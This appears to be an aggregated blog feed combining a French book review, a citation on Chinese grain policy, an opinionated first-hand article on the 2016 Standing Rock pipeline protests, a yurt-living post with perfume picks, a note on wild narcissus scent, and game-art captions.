Lara est l'héroïne de la série. C'est elle qui la porte depuis le début. Mais elle ne le fait jamais seule, elle a besoin d'une impulsion, de quelque chose qui la fait agir et surtout qui semble la faire grandir un peu plus. Ici, c'est le sort de Renaud en premier, celui de ses amis, de sa famille, et puis des Bagnards. Elle ne fait pas tout cela par pur altruisme, elle le fait pour sauver ce qu'elle aime. C'est quelque chose que j'aime beaucoup en elle. Elle n'a rien d'une super héroïne et agis de manière très humaine. Comme dans cet épisode finalement où elle agit sous le coup de la colère, de la haine mais aussi de l'amour pour ses proches. C'est ainsi que du coup, elle se retrouve à pourchasser Numéro Trois pour enfin lui mettre une balle dans la tête et arrêter le calvaire qu'elle endure depuis son apparition dans sa vie. Et je dois dire que cette partie-là est assez éprouvante vu que Lara tombe un peu dans la folie meurtrière qu'elle m'avait semblé avoir à peu prés réussi à éloigner d'elle jusque là. J'ai parfois eu l'impression qu'elle devenait une sorte de Numéro Trois face à moi et non la Lara que je connaissais jusque là. C'est assez étrange comme impression surtout quand on connait un peu le plan de la dite Numéro Trois. J'avoue que là, j'attends avec impatience l'épisode suivant pour voir où tout cela va finir par mener Lara (je les sens les larmes aussi qui vont surement couler à la fin). Surtout après ce p***ain de cliffhanger (là, Cécile, tu as fait fort, purée, c'est quand la suite déjà ?).

Pour finir, j'ai hâte de lire la suite. Même si c'est la fin de la série. Je veux connaitre le sort de certains personnages (Marine Carax est-elle toujours vivante ? Renaud ? sans parler des autres). Vivement la fin du mois !

           The Grain Issue in China: Domestic and International Perspectives.         
Ash, Robert (1997) 'The Grain Issue in China: Domestic and International Perspectives.' In: Kueh/M, Y, (ed.), China Review 1997. The Chinese University Press (Hong Kong), pp. 135-160.
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          Resistance at Standing Rock: Dispatches from the Front Lines        

UPDATES:





  • Water Protector Legal Collective Files Suit for Excessive Force against Peaceful Protesters


  • Veterans to Serve as ‘Human Shields’ for Dakota Pipeline Protesters



  • Oceti Sakowin encampment on Oct. 6, 2016. The proper name for the people commonly known as the Sioux is Oceti Sakowin, (Och-et-eeshak-oh-win) meaning Seven Council Fires.








    Story and Photos by John Briggs

    Cool Justice Editor's Note: OK to repost, courtesy of John Briggs and The Cool Justice Report.







    Corporate – Government Alliance Versus the American People

    Native Americans from tribes across the country have gathered on the windswept plains of North Dakota to pray with Mother Earth to keep the Dakota Access Pipeline (DAPL) from pumping 500,000 gallons of oil a day beneath the Missouri River. The natives know the pipeline will most certainly leak or break, as have most U.S. pipelines, fouling the water for the Great Sioux Nation and 18 million non-Natives downstream.

    The standoff -- which began in April -- continues as a new U.S. administration ascends to power with a president-elect who campaigned denying human-caused climate change and threatening the Paris Climate accords. This remains the overriding reality despite a mini walk back by Donald Trump pledging an open mind to The New York Times this week.

    Standing Rock illuminates the brazen alliance that has developed between corporate and government interests. Viewed from the front lines, the law has been turned into a fig leaf for repression and suppression. Only the discipline and spiritual clarity of the water protectors and the native elders has kept people from being killed or seriously injured since April when the movement began.

    The fused police-DAPL force is doing everything it can to incite a violent reaction from the resisters so as to crack down, clear the camps, imprison, or even gun down the natives. More than one commentator has found the atmosphere at Standing Rock similar to what led to the Wounded Knee massacre in 1890 when 300 Sioux were murdered by government troops who mistook their prayerful Ghost Dance for a war dance.

    A great deal is at issue at Standing Rock. The Sioux and their numerous native and non-native allies face a militarized force whose composition tells us something dark about the complex façade that U.S. democracy has become and suggests the proto-fascist zombi lurking beneath. More deeply, Standing Rock also emblemizes a struggle that is taking place at this moment in human history between two distinct modes of human consciousness.

    One mode is the familiar anthropocentric (human-centered) consciousness that the dominant culture most of us were born into favors—a consciousness that assumes reality is a collection of objects to be extracted, owned, and branded. Humans are the focus of this consciousness, meaning that our concerns about climate change focus primarily on the fate of our own species.

    Distinct from this anthropocentric mind-set is a second, ancient and spiritual mode of awareness that understands that the earth and its landscapes are not objects; they are relationships, including the tangle of relationships that gave us birth. This ancient mode of consciousness is potential in everyone, but for most it has been buried beneath the piles of conceptual objects that we have come to believe constitute our reality.

    The Indigenous Peoples gathered at Standing Rock are guided by this ancient, holistic, earth-mind consciousness, and so they understand that humans are not the most valuable living objects on the planet: we are not in control of the planet; it is not our job to manage nature; rather, our sacred task is to work with Mother Earth and other beings as members of Earth’s family. If we don’t, Mother Earth will make us face this spiritual truth one way or another.

    Guided by their ancient, earth-mind awareness, Native Americans have taken up a role as “water protectors.” “Mni Wiconi, Water is Life” is the slogan of the Standing Rock movement.

    Every day scores of Sioux from North Dakota, South Dakota and nearby states, along with Paiute, Shoshoni, Diné, and a sampling of other Natives from the 300 or so tribes whose flags fly at the Standing Rock encampments set out to pipeline construction sites in a convoy to engage in “actions” on the “front lines.”

    There the protectors sing and pray in the face of physical harassment and arrests by heavily armed police fused with a corporate security force.

    DAPL and their overlord company, Energy Transfer Partners, have lavished campaign contributions on politicians in North Dakota and the U.S. Congress so that they could use the state’s eminent domain powers to force purchase of land for the pipeline all across North Dakota, beginning in the Bakken fields in the northwest corner of the state where the fracked crude oil is extracted. Similar eminent domain arrangements were achieved in other states through which the 1,200-mile line traverses before reaching a river port in Illinois. The company promised Congress and the public that the pipeline would carry oil for 100 percent domestic use only, but it is clear from reporting done by the website The Intercept that the oil will be sold on international markets.

  • Though Promised for Domestic Use, Dakota Access Pipeline May Fuel Oil Exports


  • The DAPL line, now virtually complete except for permission from the Army Corps of Engineers to fill in the link that crosses under the Missouri River, passes just north of the Standing Rock Sioux Reservation and Cannon Ball, North Dakota. The DAPL construction runs through sacred burial and archeological grounds that the Lakota people were given free access to by treaties with the U.S. Government in the 19th Century. In mounting their resistance to the pipeline, the Standing Rock Sioux have been turned into “trespassers on their own land.”

    In late August, the tribe’s lawyers filed a stop work petition in federal court detailing areas where sacred sites would be disturbed if construction continued on its planned trajectory. The federal judge routinely forwarded a copy of the filing to DAPL. Over Labor Day weekend, when the company would not have been expected to work, pipeline crews leapfrogged to the disputed sacred and preemptively bulldozed them under. Too late, the judge granted the Sioux an emergency restraining order, but, then in a curious move, allowed construction in some areas where sacred sites have been discovered. DAPL has ignored a request from the Obama administration not to work in buffer areas on either side of the river. No fines have been imposed for intentionally bulldozing the disputed sacred sites.

  • The Legal Case for Blocking the Dakota Access Pipeline


  • Burial ground at center of police confrontations is known historical site


  • In recent live-stream videos from the front lines, DAPL-police snipers can be seen perched on top of a sacred mound called Turtle Island, their high-powered rifle crosshairs trained on the water protectors who are standing in prayer in the frigid lake below.

    North Dakota wants the federal government to pick up the tab for the massive expenditures required to keep the Native Americans under their guns. Alternatively, the CEO of Energy Transfers, Kelcy Warren, has offered to pick up the millions-of-dollars tab.

  • ETP CEO Kelcy Warren Says They Have Offered to Pay Protest Related Expenses


  • Native media have documented that DAPL has already been supplying military-style equipment, drones, armored vehicles, riot gear, water canons, concussion grenades and other armaments. The tax-payer-funded and corporate-sponsored front lines phalanx is led by the Morton County Sheriff’s Department, which has local jurisdiction, reinforced by North Dakota State Troopers, North Dakota National Guard units, sheriffs and police from six nearby states—all interpenetrated by DAPL security (while the FBI lurks in the background). A contingent of Hennepin County, Minnesota, Sheriffs’ Deputies were recalled following protests back home. Residents in the state of Ohio are writing letters and calling legislators to express their distress that their law enforcement has been enlisted into this repressive force.

  • Hennepin Co. sheriff's deputies leave Standing Rock protest


  • Native media’s live stream videos show DAPL security teams in mirror-visor helmets and black ops body armor with no identification, mingling with the police, sometimes directing them when and who to mace or pepper spray. They point out media making video for arrest. The big fossil fuel company evidently has plenty of experience dealing with protestors around the world. In their blank, reflecting visors we can see the soulless Darth Vader face of the government-corporate proto-fascist state the U.S. is becoming.

    Of course, this struggle with the Wasi’chu (Lakota word for the white man, meaning literally “takes too much”) is an old story for Native-Americans. In the 18th and 19th centuries it took the form of the Sioux nations trying to hold back the tsunami of colonizers flooding into their ancestral lands, occupying and despoiling them. The big difference now is that the fire-power of the state (think Custer’s 7th Cavalry or present day militarized police) has been fused with vast profit centers dependent for their existence on plundering the earth in the name of energy-squandering lifestyle survival.

    The provocations the water protectors endure take many forms. There is the psychological pressure of constant surveillance: the heavy police presence on the roads around tribal and reservation lands, the DPLA helicopter and a small plane that circle constantly above the encampments; there is the Bureau of Indian Affairs station set up on a knoll to suck out data from the cell phones of anyone in the area. There is the pepper spraying and tasing of water protectors who are praying. There is the more recent blasting of the protectors with freezing water canons in sub zero weather. There is the constant threat of weapons pointed at them. One twitching trigger finger could set off a slaughter.

    The water protectors are unarmed. The resistance movement does not allow guns in the encampments. One day, at one of the front line actions, an armed man showed up with a pistol and began firing. Possibly he was paid by DAPL to create an incident. The Natives are aware of paid provocateurs or agitators passing through the camps, pulling dirty tricks, looking to start something. Antimedia reported about the man with the gun: “According to an official statement from the tribe, the man fired several shots from his gun before being peacefully apprehended by tribal police. Witnesses at the scene say he pointed his gun at several protesters. The man was clearly trying to provoke violence that could later be used to demonize protesters who have so far remained peaceful.”

    The news site added, “The Morton County Sheriff’s Department circulated a false report claiming the man was shot, presumably by protesters… [As images show], the man was not harmed. The Sheriff’s Department has since retracted that report. Anti-Media’s attempts to obtain clarifying comments from Morton County Sheriffs were ignored.”

  • Dakota Access Caught Infiltrating Protests to Incite Violence, Funding Trolls Online


  • On a hill overlooking Oceti Sakowin, the largest of the Standing Rock encampments, an old army tent houses the field office of the rotating teams of lawyers who come to Standing Rock to help out. They use donations made to the resistance to bail out protectors who have been arrested; they try to negotiate with the police so the protectors can be allowed to pray. The constant arrests on trumped-up charges are an ongoing harassment—people maced or beaten, violently thrown to the ground and zip-tied. Often activists are charged with trespass and “riot” on the Morton County Sheriff’s novel legal theory that if several people are arrested for trespass that must signify that they were engaged in a riot.

    All this naturally requires court time and money to defend, incarceration in usually unpleasant conditions, including dog kennels. (Though the white allies who are arrested seem to get better treatment.)

    Arrests are to be expected as a consequence of civil disobedience. But some arrests are directed at chilling speech. One lawyer who came to Standing Rock from the Oregon-based Civil Liberties Defense Center, an activist defense nonprofit primarily involved in climate protests, https://cldc.org/ told Jordan Chariton of The Young Turks Network that often after the day’s action was over, police would stop the last cars in the caravan. They would then make “snatch and grab” arrests, impounding the cars of people who had come to support the water protectors but had no expectation that they’d be arrested when the action was over and the police told them to leave. They have to pay heavy fines ($900) to get their cars back. She said the arrests and impoundment fines for their cars are unlawful. “The intention with those types of actions is to scare out-of-towners from being comfortable coming to these actions. So they’re trying to chill the rights of others to come and participate in these protests.”

  • Environmental Lawyer Explains Standing Rock Legal Issues




  • The authorities regularly characterize the natives as terrorists, and local radio spreads false rumors of farm animals being slaughtered and stolen, reported vandalism—the kind of thing you would expect from psychologically projected homesteader fears about savage Indians of earlier centuries.

    Yes, Magazine on Oct. 31 reported: “The county sheriff is claiming the water protectors were violent and that police were stopping a riot. But hours of live video feed from people caught in the confrontation showed instead a military-style assault on unarmed people: police beating people with batons, police with assault rifles, chemical mace, guns firing rubber bullets and beanbag rounds, tasers.”

  • Why Police From 7 Different States Invaded a Standing Rock Camp—and Other Questions


  • The UN has sent human rights observers. According to Salon, Nov. 16, 2016: “The U.N. special rapporteur said that American law enforcement officials, private security firms and the North Dakota National Guard have used unjustified force against protesters.

    “ ‘This is a troubling response to people who are taking action to protect natural resources and ancestral territory in the face of profit-seeking activity,’ [Maina] Kiai [U.N. special rapporteur] said in his statement, which was issued by the Office of the U.N. High Commissioner for Human Rights and was endorsed by several other U.N. experts.

  • Native Americans facing excessive force in North Dakota pipeline protests – UN expert


  • “At least 400 activists have been detained and often have been held in ‘inhuman and degrading conditions in detention,’ Kiai added. Some indigenous protesters have said they were treated like animals and even held in dog kennels.

  • Dakota pipeline protesters say they were detained in dog kennels; 268 arrested in week of police crackdown


  • “ ‘Marking people with numbers and detaining them in overcrowded cages, on the bare concrete floor, without being provided with medical care, amounts to inhuman and degrading treatment,’ the U.N. expert said.

    “ ‘The excessive use of State security apparatus to suppress protest against corporate activities that are alleged to violate human rights is wrong,’ he continued, noting that it violates U.N. guidelines on business and human rights.

    “Amnesty International USA, which has repeatedly criticized authorities for not respecting the rights of protesters, issued another statement on Tuesday noting that U.S. authorities had put up roadblocks to prevent journalists and human rights observers from documenting the protests and the official response.”

  • U.N. experts call for halt in Dakota Access pipeline, blast “excessive force” against protesters


  • Living on Earth reporter Sandy Tolan reflected: “You know, at times I felt I was back reporting in the West Bank, and not the Northern Plains…”

  • Standing With the Standing Rock Sioux


  • The Bundy crew was the cowboys, not the Indians

    Compare the government response at Standing Rock with the response occasioned by Ammon Bundy and his gang of armed militants when they occupied Oregon’s Malheur National Wildlife Refuge for over a month in January 2016. Imagine if the Bundy gang had been pepper sprayed, beaten, hit with water cannon, tased. But the Bundy crew were taking over the refuge to proclaim their belief that public lands should be given free to the profit-making private ranching business. In other words, the Bundy crew was the cowboys, not the Indians.

    The mainstream corporate media has largely ignored the stand-off at Standing Rock. Rallies have taken place around the world at places like Tokyo, Stockholm, and Auckland, but the sad truth is many foreigners have heard more about Standing Rock than Americans have. Not surprising. The news editors, working for corporate media conglomerates, choose what they believe we should know and what fits the larger corporate agenda, and so they devote massively more play to Brad Pitt, to the gossipy politics of who’s-on-first, and to whatever the latest glittering consumer thing is than they do to climate change and issues highlighted by the poor and the powerless, like Standing Rock. What coverage that does exist is usually cursory and misleading.

    Fortunately, alternative media have been on the scene and active at Standing Rock. As someone who taught journalism for more nearly 20 years, it has been refreshing for me to see what the alternative press is accomplishing.

    Amy Goodman of the webcast Democracy Now brought the prayer-resistance movement to national attention over the summer. She was arrested and charged with riot in absentia for her live reports of water protectors being set upon by dogs. The charge was later dismissed in court.

    Jordan Chariton of The Young Turks Network has done searching interviews and incisive commentary from the scene.

    But my absolute favorite news source at Standing Rock is Myron Dewey’s Digital Smoke Signals. Dewey does updates every day, which he posts on Facebook. I highly recommend anyone who has a Facebook account to “follow” him. I went to Standing Rock on Oct. 4-11 with two friends and I have since been able to keep up with developments on the ground through Dewey’s Facebook broadcasts. He posts live stream unedited clips that constitute what he calls an ongoing “documentation” of what is happening day-to-day at the movement.

    Here is Dewey at night standing on a hillside next to the Oceti Sakowin encampment. His face appears in the glow of his screen. Then he’s panning and zooming in on a large grassfire as he’s telling us about it. His finger appears in the screen and points out where the fire started. He says the helicopter which constantly circulates over the camp suddenly disappeared 20 minutes before they saw the first flames. He zooms to the area where he and the person he is with first spotted the fire. He says, “It looked like someone using a drip torch.” He says they called 911, but it’s been over an hour and the Morton County Fire Department hasn’t shown up. He tells the people in the camp, his audience, not to worry, though. It looks like the fire was started by DAPL employees to scare them or hurt them. But the Oceti Sakowin is full of Indians who supplement their income by wild-land firefighting, work that also benefits Mother Earth; he mentions that he is himself a “hotshot” firefighter [one of the elite crews]. He and his fellow firefighters can tell by the wind direction that the fire won’t harm the camp.

    Now here’s Dewey on a bright morning walking along the road by Oceti Sakowin. A young man appears on screen, and Dewey asks him who he is and why he’s here. He’s from the Paiute nation. “I’m here to protect the water,” he says. Dewey asks him to sing a Paiute song. The young man closes his eyes and sings.

    In another nighttime broadcast find we ourselves looking through a car windshield, headlights illuminating the highway, centerlines whizzing by. We hear voices talking in the backseat. The car drives on and on. We’re just watching the road. Then ahead is a police roadblock. The police van looms. Dewey gets out with his camera and calls over to the officers, asks them where they’re from, inquires about where the road blocks are, what are the open routes. At one level it’s a mundane exchange between a citizen and police, but you experience the edginess of the situation. More deeply, you feel the riskiness and pathos that is involved any human interaction. Dewey firmly exercises his right to have these protect-and-serve police respond to him civilly; he is cordial and respectful in a way that reinforces to them and to his viewers that he is after all not their enemy but a fellow human being. Dewey asks more questions and the lead officer says he doesn’t want to be filmed; Dewey offers to turn his camera away from them and onto himself. The distant officers disappear from the screen and Dewey’s face fills it. The contact officer walks nearer; we can hear his voice. Dewey can’t resist a joke, though. He asks the officer if he’s sure he doesn’t want to become famous by putting his face on Dewey’s screen? You realize these are just guys doing their job. Dewey understands that, but he also wants to educate them about the water protectors’ mission. He never misses an opportunity to educate his adversary, as well as his own people about the larger dimensions of the Standing Rock resistance. When he gets back in the car, someone in the back seat says “Let’s get out of here; this is enemy territory.” Dewey laughs, turning the car around, “It’s not enemy territory.”

    I believe you learn more about Standing Rock by watching Dewey’s unedited video than you ever could from watching any number of dramatically produced, commercially constricted reports on CNN, complete with the drumb-drumb latest crisis theme music.

    Dewey explains to his viewers that what they’re seeing is a “documentation” that’s not edited. “It’s not scripted. It’s not acted out.”

    After a month of watching Dewey’s daily reports I realize more fully than I ever have before how ghastly and vacuous mainstream news reporting is: a production where facts have been emptied of the humanity of real encounters, replaced by the shallow performances of reporters and news sources, slick, clichéd phrasing, behavior slotted into ready made categories, events analyzed and even predigested. The news about reality comes to us compartmentalized in trays like tasteless microwave dinners. Rarely is the reader or viewer allowed to simply experience the event unfolding through the reporter’s eyes or camera. The stories are crafted and slickly packaged. Their very polish and stimulating presentation sabotages their meaning and replaces it with a meaningless, artificial understanding.

    Note that I am not saying that the news these days is politically biased. Some obviously is, but the left or right bias charge is a serious red herring, a mis-direction. In fact, in mainstream media’s very effort to appear neutral and unbiased means events are chopped up and pieced together to fit the templates of a few hackneyed forms of storytelling: the winner-loser story, the conflict story, the individual overcoming obstacles story, the facing bad choices stories, he-said, she-said stories, scandal stories, hypocrisy stories. You’ve seen them all, repeatedly.

    Most of these templates come plated with a cynicism, skepticism, superiority, or sentimentality that grabs our attention by adding a dash of disgust. The current journalistic manner of telling stories reduces and dismisses the story in a way that sometimes makes the commercials and pop-up ads come as a relief. None of the common journalistic templates or attitude has much to do with real life as it’s lived in the moment. It’s not what people really experience in their lives. Instead, it’s how they’ve been conditioned to wrap up experience afterward in a dramatized way that leaches out the nuance, that leaves out the moment-to-moment uncertainty, or as the Lakota call it, the Wakan, the deep mystery of relationships that permeates every event. And that’s what Dewey’s broadcasts have in abundance. You get to see him interacting with the people who show up on his screen. You get to feel his humanity and the mystery of everyday relationships taking place at Standing Rock that he brings to light. It’s certainly not dramatic or melodramatic. It’s not interesting or stimulating in the usual way. It does seem really important.

    So when Dewey sits in his parked car and does an update video on “10 things to know about DAPL” (Nov. 18, 2016), there’s no editing and no script, meaning that you get to see him thinking through what those top 10 things might be. Some points he makes are incisive and comic, others not so much. But the not-so-much ones can lead you to thinking about gray areas, the imprecise observations we all make. He asks a guy who just got in the car to help out with his list and the guy, William Hawk Birdshead, goes immediately serious on him until Dewey says, “I was trying to keep it light.” So the Birdshead says, “Laughter is good medicine.” Suddenly they’re off. Dewey mimics the shifty-eyed look of the FBI guys lurking around the area and denying they are FBI, the DAPL security characters trying to look all steely and tough. We learn that in the encampments they say that “DAPL dresses up like Ninja Turtles.” You can tell that it’s DAPL undercover because those guys never drive rez cars, which are rusted and dented. Nobody is spared. Dewey describes the water protectors just arriving from California as dudes who’ve “got their animal spirits on… They’re all furred up. They’re coming in all mystical and crystals.” He and his buddy laugh, which Dewey says is laughter “in a good way,” because the whole thing going on at Standing Rock is deadly serious but you need laughter, because that’s good medicine for healing. And healing and praying are about “getting reconnected with the Earth.”

    This points to a major difference between anthropocentric prayer as most of us know it and earth-mind prayer. In the prayer that most people are familiar with, an individual seeks intercession for human needs with a transcendent being. The Native prayer is about healing not getting. The prayer is a community ceremony or song or ritual to maintain or restore the balance between and among beings, both animate and inanimate. Prayer is to all my relatives, all my relations, the birds, the water, the wind, the buffalo, my family, even those who oppose me as enemies. Mitakuye Oyasin is an important Lakota phrase that means “all my relations.” When you’re watching a Dewey update from Standing Rock you’re experiencing Mitakuye Oyasin in action. It’s newscasting as a kind of prayer, in the earth-mind sense. Whether he’s engaging in laughter or educating about the spiritual importance of water, you can see that what he’s getting at is healing relationships. Watching and listening, you get to be part of that healing.

    What Dewey does goes way beyond advocacy journalism.

    Our traveling companion for our visit to Standing Rock, Lakota elder Tiokasin Ghosthorse, also provides a good way to keep up with developments through the interviews he conducts for his weekly syndicated broadcast from WPKN in Bridgeport Conn. and WBAI in New York City. On Oct. 31, 2016, Tiokasin interviewed a young man who was seized on Oct. 27 when a frontline camp was destroyed by police. Trenton Joseph Castillas Bakeberg, in the bloodline of Crazy Horse, was praying in a sweat lodge when the militarized police swept through the camp. They yanked him out of the sweat lodge and arrested him. The young water protector told Tiokasin:

    “I pray that we’ll be able to keep a state of prayer and peace, as we have been… Although there’s some people on our side are more likely to tend toward violence. But there’s also people on our side to stop them. Don’t start a fight. That’s what it’s all about, keeping it peaceful because the elders told us in the beginning that all it takes is one single act of violence, one person attacking a police officer and they’ll unleash the fear on all of us. This wrath that we have with our military overseas, we’re beginning to see it now in the heart of our own country. All for the greed and the corporate interests of this government. They say we’re a democracy but it’s not showing anymore. The people didn’t want this pipeline, but this foreign entity that they call a corporation, Energy Transfers, is saying, we don’t care. We want this money. We need this for economic stability of the country and that somehow trumps the interests of our communities and our nation as a whole….We’re standing up to this corporate machine with prayer and love.”

  • Forcibly removed from prayer at Standing Rock


  • Against a heavily armed, corporatized democracy designed to ensure that only powerful business and political elites rule the land and possess the wealth of its objects, the Native-American people at Standing Rock stand in defense of Mother Earth armed with songs, prayers, and an understanding that Earth’s objects are us, and we are them. They are our relatives. It seems better armament than most of us Wasi’shu possess. Webster defines fascism as “a political system headed by a dictator in which the government controls business and labor and opposition is not permitted.” It’s an incendiary word, and readers might think ill of me for introducing it here. Certainly we are not a fascist state yet. But for the prayer-resistance at Standing Rock, the clear alliance between corporate and government interests to quell their opposition under color of the law has a fascist flavor.

    It should not surprise anyone that the new US president reportedly holds stocks that directly fund the Dakota Access Pipeline and that the DAPL CEO Kelcy Warren gave the Trump campaign a substantial donation.

  • Trump's Personal Investments Ride on Completion of Dakota Access Pipeline


  • This is how the proto-fascism works. Ironically (or perhaps absurdly), Trump may have been elected by people hoping he would somehow counter the tightening grip of multinational corporations on their lives. One might wish for that to happen.

    At a deep level, Standing Rock may suggest that such absurdities as a Trump presidency occur because our mode of consciousness is impaired or inadequate to the situation it has created on our planet at this historical time. Too many of us have gone dead to the natural world we come from. Our obsessive anthropocentric mode of consciousness has reduced nature and reality at large to a bunch of things we have names for—things that feed our greed. Fortunately, many Indigenous people have retained an acute and ancient consciousness that we are those rocks and trees and clouds, and birds and water that we see outside our windows, and that restoring our relationships with them is incumbent on us.

    John Briggs is emeritus distinguished Professor of Writing and Aesthetics from Western Connecticut State University. He was the English Department’s journalism coordinator for 18 years and was one of the founders of Western’s Department of Writing, Linguistics, and Creative Process. He is the author of several well-known books on chaos theory, fractals and creativity. He lives in the hilltown of Granville, Mass., where served as a Selectman for five years and as reserve police officer for 10 years.


    When people at Standing Rock talk about the black snake they mean the pipeline, referring to an old Sioux legend about a black snake that will threaten the end of the world. The Lakota prophet Black Elk said that in the seventh generation, the Sioux tribes would unite to save the world.

    Media covering the Standing Rock resistance movement:

  • Digital Smoke Signals


  • Myron Dewey, Facebook


  • The Antimedia


  • Democracy Now


  • The Intercept


  • The Guardian


  • Censored News


  • Unicorn Riot


  • Living on Earth


  • The Indigenous Environmental Network


  • Status of Standing Rock court claim



  •           Yurt Life         
    We are moving into my mom's charming little yurt today!

    While waiting for our permanent home to be renovated (which, as it turns out, takes even longer than building a new home) - we've been living semi-nomadic life for close to four months now, about three of them in a yurt.

    Life in the yurt is different. There is no way around it (pun intended). For one thing, it provides a round space, that encompasses most of life's functions in one area: cooking, eating, reading, puzzling, snuggling, cat-feeding (an extra duty we've picked up on the way to freedom - not unlike an unwanted pregnancy that you just can't get herself to terminate), office work (whenever my MacBook Air has enough power to work for me - not to mention its battered battery now needs replacement, which turns out to be a HUGE ordeal in the land of milk and honey), Pilates practice, and even occasional entertaining (when it rains even my dear family avoids it like the plague). It's not truly all in one space, because it actually has an annex to the north, with the washroom (including a shower and a compost toilet - a killer combination for dirt and cleanliness), as well as a sleeping den which has beautiful greenery all around it, as it is built from old wooden windows.

    That beauty comes with the price of this space being as cold as the outdoors in the winter. In the summer this room is actually a lifesaver, because the yurt collects way too much heat, although it is much better insulated than the sleeping den - even when its skylight is open. We don't have an oven, but were able to pull together delicious and nourishing meals from the two-flamed gas stove, and have even prepared some raw treats for our daily tea parties. To be perfectly frank - mostly, we've been lazy and buying baklava and cookies whenever we are in the vicinity of a bakery - so I am now in the know of where to get good baked goods. I'm sure this knowledge will come in handy in the not so far future, even after we're back to our productive baking life. When it comes to baking, it's always good to have a good back-up plan.

    Of course, that did not stop us from being experimental in the kitchen, trying new ingredients such as nigella seed spread and authentic freekeh, which is an amazing way of preparing green wheatberries by burning them off the wheat chaff. The result is a smoky, nutty grain that is delicious and easy to cook (and digest) and really gives unmistakable character to dishes (the one I bought in Canada was actually stale wheat dyed green). More on that in another post!

    To sum it up - living in a yurt is "an experience". Just like camping is an experience. In camping terms this is a five star facility. I'm sure with its running water and gas-operated refrigerator it is also considered a luxury in comparison to straw huts in Africa or yurts in the Mongolian steppes. You get the picture. It's an experience. And we're three months into it and can't wait to experience something else.

    To lift the edge off the nervous anticipation for proper housing, I've decided to compile a little list of fragrances (both mundane and wearable) that will let you into this experience, even if just a little... This compilation is a random array of fragrance fit for yurt life, even though I imagine most people who choose to live in this humble abode would rather dab some animal fat and cooked cabbage juice behind their ear than any designer's fragrance. Nevertheless, I find the task amusing, and I hope it will make for a fun read.

    We are moving into my mom's charming little yurt today! Here is a view of the inside.

    I also hope that my mom does not get hurt because apparently in our parts of the world, patience ("Savlanut") is considered a virtue (which very few uphold), and also belongs grammatical to the same root as the word suffering ("Sevel"). And in this part of the world, stating the facts is considered complaining... I'm sure those who choose to live in a yurt or even just stay in it for a short amount of time will thoroughly enjoy it - it is cute, rustic, pretty, calm and completely in tune with nature. You get to experience all the elements - fire (sun), air (wind), water (we have running water, and thankfully also very little of water leakage despite its very temporary feel); and last but not least - you can't get any closer to earth than this. It is a very, very earthy dwelling and you really feel Mother earth's belly as you tickle it with your slippers walking to and fro. Last but not least: nothing compares to coming out of the yurt at night and seeing the clear black skies dotted with bright stars.

    Muscs Kublai Khan - for the obvious body odour effect - musk-enhanced unwashed hair and sweaty armpits with hints of rose and aldehydes.

    Kiehl's Fig Leaf & Sage - milky herbacous weirdness. It's unusual yet very easy to wear and has a freshness without being boring. It also goes well with the cucumber and parsley scented products we currently have in the house - hand wash, shampoo and conditioner. Something green and clear-smelling yet non pretentious.

    Aromatics Elixir - an earthy, big sage scent that is sophisticated yet at the same time rustic enough to wear in the wilderness. Especially grateful for it on cold wintry days.

    Arabie - the spice market, sweat and dusty cobblestones - and all the spices I have in storage (and don't have in my kitchen) kvetched into one bottle. Awesome.

    Coco Noir - the opposite of yurt life: polished, elegant, artificial and urban. Jasmine, berries and plums, rose, patchouli, musk and vetiver with a a dusting of cocoa.

    Poivre Samarkand - because I heard that there are also yurts in Samarkand (Uzbekistan). Can't find any perfume inspired by Mongolia (which is where the yurts supposedly originate). Besides, it's a perfect sprinkle of heat on those chilly nights when the shower runs only boiling water or ice cold ones, and when you step out of the shower it's the same temperatures as outside (not as extreme as in Canada, but 5-11c is cold enough to feel like real winter).

    Musc Nomade (Annick Goutal) - I'm picking this one because of the name alone. I remember smelling it very vaguely and that is was vegetal and delicate... Admittedly I'm also too lazy to go digging in my shipping container now and find the little box where I "filed" all my music samples but I'm pretty sure I've only tried it once when I was in Paris.

    Tam Dao - if you've ever encountered compost toilet, you know that it's the human equivalent of hamster cage. pine or cedar shavings are used to cover up the mess, and the result is a more subdued version of human waste, that eventually turns into a nice scent of the forest floor. Anyway, this explanation made me think of Tam Dao, which is a fine sandalwood and cedar fragrance and also has some clean smelling musks underneath, to make you forget all the other business.

    Tea for Two - We've been enjoying my limited selection of teas that I make a point of finishing off. True to form, we've been brewing lots of chai, which I've been already giving you plenty of recipes for... And of course Hulnejan - the wonderful root brew of galangal, dried ginger and cassia bark.
    Zangvil also reminds me of this "witch brew" with its notes of fresh and dried ginger, honey, amber, jasmine and ginger lily.

    Finjan - we've been drinking lots of espresso on the stove top mocha machine, and lots of Arabic/Druze/Turkish coffee (each nationality claims it as their own - but essentially this is very dark roasted coffee with cardamom that is brewed on the stove). The latter is well represented in the perfuem I created titled Finjan (the name of the little porcelain "shot" cups that you sip the coffee from; mistakenly, most Israelis refer to the little pot used to brew it as "finjan" - but its real name is "Ralai").

    Mastic - Whenever it rains or gets really chilly, the mastica bushes and wild ivy behind the yurt release their fresh, green-balsamic scent. Grin's smell encompasses this verdant freshness with its notes of galbanum, violet, oakmoss and a classic floral bouquet.

    Geranium and Wild Oranges - My citrus orchard was overcome by wild orange shoots, and I've really let it go. We finally pruned the orchard this fall, which mean an overwhelming amount of wild oranges that had to be put into use somehow. The result? An orange cello with a touch of herbs from the yurt's garden, among them rose geranium. One sip of this liquor is enough to uplift the spirits.





              Smoky Narcissus         
    Narkiss

    Wild narcissus (N. tazetta) and paperweights (N. 'Chinese Sacred Lily') are growing in my soon-to-be garden and in the mountainous wilderness that is its backyard. The wild one smells a thousand times better, in my humble opinion.... Especially, I've been haunted by its fragrance at night time, mingled with smoke from all the wood stoves used for heating in the village... Smells like a very fancy, smoky-floral beeswax candle burning. Not that this description does it any justice. I wish I could capture it in a perfume. Narkiss has some of the qualities (herbaceous, waxy-animalic) but as always, nature beats us all perfumers to a pulp. Other perfumes along these lines that I recall are Tom Ford's Velvet Gardenia and Shanghai Lily (I must remember to scout a sample size of that soon). Caron's famous Narcisse Noir also belongs to this territory, albeit it's much more aldehyde-heavy and it also has gasoline-like top-notes. Another scent it reminds me is of some of the Feu de Bois candle by Dyptique.

    Those surprising moments when you discover a new yet familiar scent in the natural surroundings, truly are the best.
              WWM B        
     
    A different option for the player-character War machine. Don't look him in the lens.
    worldwarmachine.com


              Worldly War Machinery         
    Here's some more artwork from World War Machine. First up a higher res version of the initial design for the player character, the quintessential War Machine. I had a lot of fun working on this friendly chap!

